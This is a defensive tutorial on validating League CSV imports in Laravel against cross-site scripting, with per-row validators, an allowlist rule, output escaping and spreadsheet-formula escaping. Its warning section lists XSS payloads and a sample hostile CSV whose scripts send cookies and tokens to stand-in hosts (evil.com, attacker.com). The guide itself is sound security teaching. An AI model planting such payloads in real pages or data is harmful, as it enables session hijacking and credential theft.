Laravel CSV Import Validation: Preventing XSS with League CSV
When building applications that accept CSV file uploads, there's a critical security concern that's easy to overlook. The data inside those files can be just as dangerous as any user input. Without proper validation, you're opening the door to Cross-Site Scripting (XSS) attacks that can compromise your entire application and its users.
League CSV is an excellent library for parsing and writing CSV files in PHP. Their documentation thoroughly covers reading, writing, filtering, and transforming CSV data. However, being a framework-agnostic library, it doesn't address validation, and specifically, it doesn't cover how to prevent malicious data from entering your application.
If you're a Laravel developer reaching for League CSV (or another importer such as Laravel Excel), you might assume that Laravel's validation is being applied somewhere. It isn't. At least not automatically. This gap between "parsing CSV data" and "safely storing CSV data" is where security vulnerabilities creep in.
The "String" Validation Trap
Many developers believe they're protected because they use Laravel's string validation rule:
1$validator = Validator::make($row, [2 'first_name' => 'required|string|max:255',3 'last_name' => 'required|string|max:255',4]);This does not prevent XSS. The string rule simply confirms the value is a string type. It says nothing about the content of that string. All of these malicious payloads pass string validation without issue:
1<script>alert('XSS')</script>2<img src=x onerror=alert('hacked')>3<svg onload=alert('XSS')>4"><script>document.location='https://evil.com/steal?c='+document.cookie</script>5<body onload=alert('XSS')>6<input onfocus=alert('XSS') autofocus>7<marquee onstart=alert('XSS')>Every single one of these is a valid string under 255 characters. Your validation passes, the data gets stored, and when it is inserted into an HTML page without appropriate escaping or sanitisation, the attack can execute, including in an admin dashboard.
The Hidden Danger in CSV Imports
Consider a typical school management system that imports student data via CSV. A malicious actor could craft a CSV file with entries like:
1student_id,first_name,last_name,email212345,<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>,Smith,[email protected]367890,John,<img src=x onerror="alert('XSS')">,[email protected]411111,"><script>fetch('https://attacker.com/log?data='+localStorage.getItem('token'))</script>,Doe,[email protected]If this data is stored in your database and later rendered in a view without proper escaping, or worse, used in admin dashboards where staff have elevated privileges, the consequences can be severe:
- Session hijacking: Stealing authentication cookies
- Credential theft: Capturing keystrokes or form submissions
- Privilege escalation: Performing actions as an administrator
- Data exfiltration: Sending sensitive data to external servers
- Malware distribution: Redirecting users to malicious sites
The Solution: Validate CSV Data Like Any Other User Input
Treat CSV data as untrusted user input, because that's exactly what it is. Laravel's validation system, combined with League CSV for parsing, provides a robust solution.
Step 1: Validate the Upload Itself
Before processing any CSV content, validate the file upload:
1use Illuminate\Http\Request; 2 3public function import(Request $request) 4{ 5 $request->validate([ 6 'csv_file' => 'required|mimes:csv,txt|max:2048', 7 ]); 8 9 $file = $request->file('csv_file');10 // Proceed with CSV parsing...11}This checks the detected file type and size. It does not prove that the file has the required CSV headers, a consistent row shape, or acceptable field values; check those during parsing.
Step 2: Parse and Validate Each Row
This is where the real protection happens. Use League CSV to parse the file, then validate each row with Laravel's Validator:
1use League\Csv\Reader; 2use Illuminate\Support\Facades\Validator; 3 4$reader = Reader::createFromPath($file->getPathname(), 'r'); 5$reader->setHeaderOffset(0); 6 7$records = $reader->getRecords(); 8 9$errors = [];10foreach ($records as $index => $row) {11 $validator = Validator::make($row, [12 'student_id' => 'required|string|max:50',13 'first_name' => 'required|string|max:255',14 'last_name' => 'required|string|max:255',15 'email' => 'required|email',16 ]);17 18 if ($validator->fails()) {19 // League CSV preserves record offsets; add 1 for a one-based record number20 $errors[$index + 1] = $validator->errors()->all();21 }22}23 24if (!empty($errors)) {25 return redirect()->back()->withErrors($errors);26}27 28// Safe to process the validated dataStep 3: Use Character Restrictions Only Where the Field Requires Them
An ASCII allowlist can suit an internal reference code, but it is not a general XSS defence and is too restrictive for people's names. Accented letters, non-Latin names and curly apostrophes are legitimate input. Use the following optional rule for a deliberately restricted identifier; validate names as strings and escape them when rendering:
1<?php 2 3namespace App\Rules; 4 5use Closure; 6use Illuminate\Contracts\Validation\ValidationRule; 7 8class SafeStringWithNumbers implements ValidationRule 9{10 /**11 * Validates that a string contains only safe characters:12 * - Letters (A-Z, a-z)13 * - Numbers (0-9)14 * - Common safe punctuation: apostrophe, space, hyphen, dot, underscore15 */16 public function validate(string $attribute, mixed $value, Closure $fail): void17 {18 if (preg_match('/^[A-Za-z0-9.\' _-]+$/', $value) !== 1) {19 $fail(':attribute contains invalid characters. Only letters, numbers, spaces, dots, hyphens, apostrophes and underscores are allowed.');20 }21 }22}This rule explicitly blocks:
<and>(HTML tags)"and backticks (attribute injection)(and)(JavaScript function calls)=(attribute assignment);(statement termination)- And many other characters commonly used in XSS payloads
Step 4: Apply the Custom Rule to Your Validation
Now integrate the custom rule into your CSV validation:
1use App\Rules\SafeStringWithNumbers; 2use League\Csv\Reader; 3use Illuminate\Support\Facades\Validator; 4 5$reader = Reader::createFromPath($file->getPathname(), 'r'); 6$reader->setHeaderOffset(0); 7 8$records = $reader->getRecords(); 9$validatedData = [];10$errors = [];11 12foreach ($records as $index => $row) {13 $validator = Validator::make($row, [14 'student_id' => ['required', 'string', 'max:50', new SafeStringWithNumbers()],15 'first_name' => ['required', 'string', 'max:255'],16 'last_name' => ['required', 'string', 'max:255'],17 'email' => ['required', 'email'],18 ]);19 20 if ($validator->fails()) {21 $errors[$index + 1] = $validator->errors()->all();22 } else {23 $validatedData[] = $validator->validated();24 }25}26 27if (!empty($errors)) {28 return redirect()->back()29 ->withErrors(['csv' => $errors])30 ->with('error', 'Some rows failed validation. Please check and re-upload.');31}32 33// Process $validatedData safelyReal-World Example: Processing with Error Reporting
In production systems, you often need to process valid rows while reporting invalid ones. Here's a more complete implementation:
1<?php 2 3namespace App\Console\Commands; 4 5use App\Rules\SafeStringWithNumbers; 6use Illuminate\Console\Command; 7use Illuminate\Support\Facades\Validator; 8use League\Csv\Reader; 9use League\Csv\Writer;10use League\Csv\EscapeFormula;11 12class ImportStudents extends Command13{14 protected $signature = 'students:import {file}';15 protected $description = 'Import students from CSV with XSS protection';16 17 public function handle(): int18 {19 $reader = Reader::createFromPath($this->argument('file'), 'r');20 $reader->setHeaderOffset(0);21 22 $successfulRecords = [];23 $failedRecords = [];24 25 foreach ($reader->getRecords() as $record) {26 $result = $this->validateRecord($record);27 28 if ($result['valid']) {29 $successfulRecords[] = $record;30 } else {31 $record['error'] = implode(' | ', $result['errors']);32 $failedRecords[] = $record;33 }34 }35 36 // Process successful records37 foreach ($successfulRecords as $record) {38 $this->processStudent($record);39 }40 41 // Generate error report if needed42 if (!empty($failedRecords)) {43 $this->generateErrorReport($failedRecords);44 }45 46 $this->info(sprintf(47 'Import complete: %d succeeded, %d failed',48 count($successfulRecords),49 count($failedRecords)50 ));51 52 return Command::SUCCESS;53 }54 55 private function validateRecord(array $record): array56 {57 $validator = Validator::make($record, [58 'student_id' => ['required', 'string', 'max:50', new SafeStringWithNumbers()],59 'first_name' => ['required', 'string', 'max:255'],60 'last_name' => ['required', 'string', 'max:255'],61 'email' => ['required', 'email'],62 ]);63 64 return [65 'valid' => $validator->passes(),66 'errors' => $validator->errors()->all(),67 ];68 }69 70 private function generateErrorReport(array $failedRecords): void71 {72 $writer = Writer::createFromPath(storage_path('imports/errors.csv'), 'w');73 $formatter = new EscapeFormula();74 $writer->addFormatter([$formatter, 'escapeRecord']);75 $writer->insertOne(array_keys($failedRecords[0]));76 $writer->insertAll($failedRecords);77 }78 79 private function processStudent(array $record): void80 {81 // Your business logic here82 }83}Escape for the Output Context
Input validation checks whether data belongs in your application. OWASP's XSS guidance makes context-appropriate output encoding the essential defence when that data reaches a browser.
Use {{ $student->first_name }} for ordinary Blade text. Do not replace it with {!! !!} for imported values. In JavaScript, use textContent for text; do not insert CSV cells through innerHTML. HTML escaping alone does not make a string safe inside executable JavaScript or an arbitrary URL. If rich HTML is required, sanitise it with a maintained allowlist-based HTML sanitizer.
Protect the Error Report from Spreadsheet Formulas
Rejected rows are still untrusted. If you export them, a value beginning with = can become a formula when someone opens the error report in a spreadsheet. This is a different problem from browser XSS.
The command above applies League CSV's EscapeFormula formatter before writing the report. Check the exported file with your intended spreadsheet application; CSV quoting by itself does not neutralise formulas. Keep the raw import separate from the spreadsheet-safe report so you do not accidentally import the escaped presentation values back into your database.
Key Takeaways
-
Treat CSV data as untrusted input, because it is.
-
Validate at the row level using Laravel's Validator for consistency and clarity.
-
Restrict identifiers to their business format without rejecting legitimate international names.
-
Provide clear error feedback so users can fix legitimate issues without exposing technical details.
-
Layer your defences: validate input, escape output, and use Content Security Policy headers.
-
Test rendered output and spreadsheet exports with hostile values, including rejected rows; validation alone is not an XSS defence.
By implementing these patterns, you transform a potential security vulnerability into a robust, validated data pipeline that protects both your application and its users.
Syntax highlighting by Torchlight